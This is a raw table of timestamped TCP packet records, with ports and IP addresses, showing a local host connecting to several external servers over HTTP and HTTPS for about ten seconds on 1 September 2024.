Sep 1, 2024 02:48:23.917574883 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.917649031 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.917812109 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.917824984 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.932924032 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.932957888 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:23.933007956 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.933115959 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.933136940 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.289241076 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:24.289282084 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:24.289385080 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:24.289446115 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:24.289555073 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:24.303303003 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:24.305421114 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:24.305448055 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:24.305459976 CEST	49790	443	192.168.2.4	184.28.90.27
Sep 1, 2024 02:48:24.305465937 CEST	443	49790	184.28.90.27	192.168.2.4
Sep 1, 2024 02:48:24.308080912 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:24.381752968 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.381989002 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.382014036 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.382354021 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.382404089 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.383023024 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.383066893 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.383212090 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.383266926 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.391776085 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.391935110 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.391952038 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.392263889 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.392311096 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.392870903 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.392913103 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.393008947 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.393064022 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.481482029 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.481496096 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.533756018 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.550271988 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:24.550333023 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:24.590636015 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.590651035 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.655426025 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:24.655917883 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:24.660855055 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:24.660916090 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:24.661103010 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:24.661221981 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:24.661274910 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:24.665978909 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:24.690687895 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:25.398871899 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:25.398922920 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:25.399523020 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:25.404325962 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:25.526192904 CEST	80	49765	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:25.526242018 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:25.616877079 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:25.645276070 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:25.645385981 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:25.772305012 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:25.772706985 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:25.777328014 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:25.777384043 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:25.777626991 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:25.777697086 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:25.815136909 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:25.819907904 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:26.514813900 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:26.514870882 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:26.516880989 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:26.521632910 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:26.762202024 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:26.762424946 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:26.870784044 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:26.871179104 CEST	49796	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:26.875756979 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:26.876060963 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:26.876735926 CEST	80	49796	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:26.876851082 CEST	49796	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:26.876930952 CEST	49796	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:26.881993055 CEST	80	49796	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:27.620600939 CEST	80	49796	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:27.620702028 CEST	49796	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:27.621275902 CEST	49796	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:27.626708984 CEST	80	49796	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:27.867640972 CEST	80	49796	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:27.867703915 CEST	49796	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:27.969780922 CEST	49796	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:27.970134974 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:27.974809885 CEST	80	49796	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:27.974863052 CEST	49796	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:27.975137949 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:27.975207090 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:27.975311041 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:27.980309010 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:28.712115049 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:28.712182045 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:28.712773085 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:28.717993021 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:28.957161903 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:28.957434893 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:29.058680058 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:29.059104919 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:29.064707994 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:29.064860106 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:29.065509081 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:29.065509081 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:29.065659046 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:29.070647001 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:29.837898016 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:29.837953091 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:29.838484049 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:29.843322039 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:30.089534998 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:30.089601040 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:30.486659050 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:30.487047911 CEST	49799	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:30.491889000 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:30.491902113 CEST	80	49799	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:30.491957903 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:30.491990089 CEST	49799	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:30.506855965 CEST	49799	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:30.511744976 CEST	80	49799	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:31.607559919 CEST	80	49799	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:31.607584953 CEST	80	49799	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:31.607637882 CEST	49799	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:31.645165920 CEST	49799	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:31.650048018 CEST	80	49799	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:31.894320965 CEST	80	49799	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:31.894676924 CEST	49799	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:32.048235893 CEST	49799	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:32.048521042 CEST	49805	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:32.053708076 CEST	80	49799	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:32.053718090 CEST	80	49805	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:32.053765059 CEST	49799	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:32.053787947 CEST	49805	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:32.054035902 CEST	49805	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:32.059041023 CEST	80	49805	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:32.403369904 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:32.403393030 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:32.403471947 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:32.403860092 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:32.403872967 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:32.616508007 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:32.616520882 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:32.616569996 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:32.616826057 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:32.616839886 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:32.839710951 CEST	80	49805	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:32.839790106 CEST	49805	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:32.840450048 CEST	49805	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:32.845289946 CEST	80	49805	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:33.040340900 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.040597916 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.040620089 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.041733027 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.041786909 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.042857885 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.042913914 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.043035030 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.043042898 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.088547945 CEST	80	49805	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:33.088601112 CEST	49805	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:33.090437889 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.143165112 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.143182993 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.143189907 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.143222094 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.143234968 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.143245935 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.143274069 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.143289089 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.144184113 CEST	49806	443	192.168.2.4	13.107.246.57
Sep 1, 2024 02:48:33.144198895 CEST	443	49806	13.107.246.57	192.168.2.4
Sep 1, 2024 02:48:33.199500084 CEST	49805	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:33.199754953 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:33.204629898 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:33.204690933 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:33.204835892 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:33.205419064 CEST	80	49805	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:33.205466986 CEST	49805	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:33.210167885 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:33.333889008 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.334198952 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.334213018 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.334516048 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.334528923 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.334572077 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.334578037 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.334604979 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.334604979 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.335113049 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.336822033 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.336880922 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.337131023 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.337137938 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.383666039 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.599210978 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.599245071 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.599374056 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.599390030 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.605035067 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.605130911 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.605139971 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.609059095 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.609111071 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.609118938 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.615015030 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.615147114 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.615154028 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.620860100 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.620913029 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.620920897 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.639297009 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.639343023 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.639349937 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.639415979 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.639467001 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.639472961 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.640096903 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.640141964 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.640149117 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.683434963 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.685879946 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.687623024 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.687649965 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.687681913 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.687691927 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.687884092 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.693833113 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.700155020 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.700186968 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.700222015 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.700233936 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.700541973 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.706459045 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.716218948 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.716243982 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.716262102 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.716275930 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.716336012 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.720072031 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.725357056 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.725418091 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.725502968 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.725511074 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.725761890 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.731286049 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.737240076 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.737263918 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.737291098 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.737298012 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.737329006 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.743693113 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.749191999 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.749213934 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.749238014 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.749249935 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.749541044 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.757601023 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.760073900 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.760101080 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.760118961 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.760132074 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.760169029 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.764624119 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.769990921 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.770036936 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.770047903 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.775500059 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.775531054 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.775544882 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.775553942 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.775942087 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.779464960 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.783432007 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.783479929 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.783488035 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.787089109 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.787117958 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.787130117 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.787137032 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.787420988 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.790570021 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.794323921 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.794368029 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.794374943 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.801651001 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.801692963 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.802611113 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.802619934 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.802917004 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.803706884 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.804826975 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.804860115 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.804873943 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.804886103 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.804924011 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.807941914 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.811403036 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.811443090 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.811451912 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.811459064 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.811485052 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.814846039 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.818905115 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.818948030 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.818964005 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.818969965 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.819314957 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.821711063 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.825191975 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.825227022 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.825248003 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.825256109 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.825298071 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.828705072 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.832318068 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.832351923 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.832380056 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.832390070 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.832539082 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.835634947 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.838927031 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.838994026 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.839005947 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.844464064 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.844504118 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.844557047 CEST	49808	443	192.168.2.4	142.250.185.129
